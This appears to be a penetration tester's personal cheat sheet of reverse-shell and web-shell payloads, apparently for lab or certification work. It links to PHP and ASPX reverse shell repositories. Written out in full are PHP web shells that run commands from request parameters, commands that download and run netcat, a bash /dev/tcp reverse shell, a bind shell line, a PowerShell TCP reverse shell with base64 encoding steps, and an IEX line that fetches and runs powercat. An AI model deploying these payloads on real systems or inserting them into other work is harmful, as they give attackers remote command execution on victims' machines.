Payloads

https://raw.githubusercontent.com/ivan-sincek/php-reverse-shell/master/src/reverse/php_reverse_shell.phpraw.githubusercontent.com

aspx-reverse-shell/shell.aspx at master · borjmz/aspx-reverse-shellGitHub

system("powershell -c curl http://10.10.14.6/nc.exe -o C:\\programdata\\nc.exe");
system("C:\\programdata\\nc.exe 10.10.14.6 1337 -e powershell.exe");

<?php system($_GET['cmd']) ?> 
<?php system($_REQUEST['cmd']) ?> 
<?php echo shell_exec($_GET['cmd']); ?>
<?php echo shell_exec($_REQUEST['cmd']); ?>

bash -c 'bash -i >& /dev/tcp/192.168.45.204/1337 0>&1'

echo '31337 stream tcp nowait root /bin/sh -i'

Base64 encoded win

pwsh

$Text = '$client = New-Object System.Net.Sockets.TCPClient("192.168.45.237",1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$EncodedText =[Convert]::ToBase64String($Bytes)
$EncodedText

powershell -e <payload>

powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.173:8080/powercat.ps1');powercat -c 192.168.45.173 -p 1337 -e powershell"